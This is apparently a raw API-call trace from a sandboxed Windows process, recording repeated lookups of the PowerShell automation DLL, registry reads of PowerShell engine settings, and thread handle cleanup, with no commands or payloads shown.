	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.691] GetLastError () returned 0xcb
	[0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.692] GetLastError () returned 0xcb
	[0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.692] GetLastError () returned 0xcb
	[0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.692] GetLastError () returned 0xcb
	[0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.692] GetLastError () returned 0xcb
	[0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.692] GetLastError () returned 0xcb
	[0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.692] GetLastError () returned 0xcb
	[0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.692] GetLastError () returned 0xcb
	[0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.692] GetLastError () returned 0xcb
	[0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.692] GetLastError () returned 0xcb
	[0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.692] GetLastError () returned 0xcb
	[0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.692] GetLastError () returned 0xcb
	[0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.693] GetLastError () returned 0xcb
	[0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.693] GetLastError () returned 0xcb
	[0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.693] GetLastError () returned 0xcb
	[0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.693] GetLastError () returned 0xcb
	[0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.693] GetLastError () returned 0xcb
	[0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.693] GetLastError () returned 0xcb
	[0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.693] GetLastError () returned 0xcb
	[0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.693] GetLastError () returned 0xcb
	[0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.693] GetLastError () returned 0xcb
	[0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.693] GetLastError () returned 0xcb
	[0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.693] GetLastError () returned 0xcb
	[0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.693] GetLastError () returned 0xcb
	[0084.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.694] GetLastError () returned 0xcb
	[0084.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedcf4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.694] GetLastError () returned 0xcb
	[0084.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedcf4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.694] GetLastError () returned 0xcb
	[0084.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedcf4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.694] GetLastError () returned 0xcb
	[0084.706] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.706] GetLastError () returned 0xcb
	[0084.707] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedcf4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.707] GetLastError () returned 0xcb
	[0084.707] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedcf4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.707] GetLastError () returned 0xcb
	[0084.707] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedd44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.707] GetLastError () returned 0xcb
	[0084.707] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedcf4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.707] GetLastError () returned 0xcb
	[0084.707] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xedcf4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.707] GetLastError () returned 0xcb
	[0084.707] VirtualQuery (in: lpAddress=0xed270, lpBuffer=0xee270, dwLength=0x1c | out: lpBuffer=0xee270*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.708] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.708] GetLastError () returned 0xcb
	[0084.722] VirtualQuery (in: lpAddress=0xed270, lpBuffer=0xee270, dwLength=0x1c | out: lpBuffer=0xee270*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.731] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.731] GetLastError () returned 0xcb
	[0084.732] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.732] GetLastError () returned 0xcb
	[0084.732] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.732] GetLastError () returned 0xcb
	[0084.733] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.733] GetLastError () returned 0xcb
	[0084.734] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.734] GetLastError () returned 0xcb
	[0084.735] VirtualQuery (in: lpAddress=0xed270, lpBuffer=0xee270, dwLength=0x1c | out: lpBuffer=0xee270*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.735] VirtualQuery (in: lpAddress=0xed270, lpBuffer=0xee270, dwLength=0x1c | out: lpBuffer=0xee270*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0084.953] VirtualQuery (in: lpAddress=0xed270, lpBuffer=0xee270, dwLength=0x1c | out: lpBuffer=0xee270*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0085.863] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x603ed0
	[0085.863] GetLastError () returned 0x0
	[0085.863] GetLastError () returned 0x0
	[0086.017] VirtualQuery (in: lpAddress=0xed270, lpBuffer=0xee270, dwLength=0x1c | out: lpBuffer=0xee270*(BaseAddress=0xed000, AllocationBase=0xb0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0086.108] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xeeccc | out: phkResult=0xeeccc*=0x388) returned 0x0
	[0086.109] RegQueryValueExW (in: hKey=0x388, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeed14, lpData=0x0, lpcbData=0xeed10*=0x0 | out: lpType=0xeed14*=0x1, lpData=0x0, lpcbData=0xeed10*=0x56) returned 0x0
	[0086.109] RegQueryValueExW (in: hKey=0x388, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeed14, lpData=0x617f50, lpcbData=0xeed10*=0x56 | out: lpType=0xeed14*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xeed10*=0x56) returned 0x0
	[0086.109] RegCloseKey (hKey=0x388) returned 0x0
	[0086.109] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xeeccc | out: phkResult=0xeeccc*=0x388) returned 0x0
	[0086.109] RegQueryValueExW (in: hKey=0x388, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeed14, lpData=0x0, lpcbData=0xeed10*=0x0 | out: lpType=0xeed14*=0x1, lpData=0x0, lpcbData=0xeed10*=0x56) returned 0x0
	[0086.109] RegQueryValueExW (in: hKey=0x388, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xeed14, lpData=0x617f50, lpcbData=0xeed10*=0x56 | out: lpType=0xeed14*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0xeed10*=0x56) returned 0x0
	[0086.109] RegCloseKey (hKey=0x388) returned 0x0
	[0086.110] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x617f50 | out: pszPath="C:\\Users\\kFT6uTQW\\Documents") returned 0x0
	[0086.110] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x617f50 | out: pszPath="C:\\Users\\kFT6uTQW\\Documents") returned 0x0
	[0086.111] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0xeec20 | out: phkResult=0xeec20*=0x33c) returned 0x0
	[0086.111] RegQueryValueExW (in: hKey=0x33c, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0xeec68, lpData=0x0, lpcbData=0xeec64*=0x0 | out: lpType=0xeec68*=0x0, lpData=0x0, lpcbData=0xeec64*=0x0) returned 0x2

Thread:
	id = 29
	os_tid = 0x97c


Thread:
	id = 30
	os_tid = 0x980


Thread:
	id = 31
	os_tid = 0x984


Thread:
	id = 32
	os_tid = 0x988


Thread:
	id = 33
	os_tid = 0x98c


Thread:
	id = 34
	os_tid = 0x990

	[0078.704] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0083.133] LocalFree (hMem=0x5d50b8) returned 0x0
	[0083.133] GetLastError () returned 0x0
	[0083.133] CloseHandle (hObject=0x32c) returned 1
	[0083.133] GetLastError () returned 0x0
	[0083.133] CloseHandle (hObject=0x13) returned 1
	[0083.133] GetLastError () returned 0x0
	[0083.134] CloseHandle (hObject=0xf) returned 1
	[0083.134] GetLastError () returned 0x0
	[0083.134] RegCloseKey (hKey=0x310) returned 0x0
	[0083.134] RegCloseKey (hKey=0x30c) returned 0x0
	[0083.134] RegCloseKey (hKey=0x308) returned 0x0
	[0083.134] LocalFree (hMem=0x5d50e8) returned 0x0
	[0083.134] GetLastError () returned 0x0
	[0083.134] RegCloseKey (hKey=0x338) returned 0x0
	[0084.611] RegCloseKey (hKey=0x3b4) returned 0x0
	[0084.611] RegCloseKey (hKey=0x378) returned 0x0
	[0084.611] RegCloseKey (hKey=0x374) returned 0x0
	[0084.611] RegCloseKey (hKey=0x370) returned 0x0
	[0084.611] RegCloseKey (hKey=0x36c) returned 0x0
	[0084.611] RegCloseKey (hKey=0x368) returned 0x0
	[0084.611] RegCloseKey (hKey=0x364) returned 0x0
	[0084.612] RegCloseKey (hKey=0x360) returned 0x0
	[0084.612] RegCloseKey (hKey=0x35c) returned 0x0
	[0084.612] RegCloseKey (hKey=0x3b0) returned 0x0
	[0084.612] RegCloseKey (hKey=0x3ac) returned 0x0
	[0084.612] RegCloseKey (hKey=0x354) returned 0x0
	[0084.612] RegCloseKey (hKey=0x350) returned 0x0
	[0084.613] RegCloseKey (hKey=0x34c) returned 0x0
	[0084.613] RegCloseKey (hKey=0x348) returned 0x0
	[0084.613] RegCloseKey (hKey=0x344) returned 0x0
	[0084.613] RegCloseKey (hKey=0x340) returned 0x0
	[0084.613] RegCloseKey (hKey=0x33c) returned 0x0
	[0084.613] RegCloseKey (hKey=0x32c) returned 0x0
	[0084.613] RegCloseKey (hKey=0x30c) returned 0x0
	[0084.614] RegCloseKey (hKey=0x308) returned 0x0
	[0084.614] RegCloseKey (hKey=0x3a8) returned 0x0
	[0084.614] RegCloseKey (hKey=0x3a4) returned 0x0
	[0084.614] RegCloseKey (hKey=0x3a0) returned 0x0
	[0084.614] RegCloseKey (hKey=0x37c) returned 0x0
	[0084.614] RegCloseKey (hKey=0x3b8) returned 0x0
	[0084.614] RegCloseKey (hKey=0x398) returned 0x0
	[0084.615] RegCloseKey (hKey=0x394) returned 0x0
	[0084.615] RegCloseKey (hKey=0x390) returned 0x0
	[0084.615] RegCloseKey (hKey=0x38c) returned 0x0
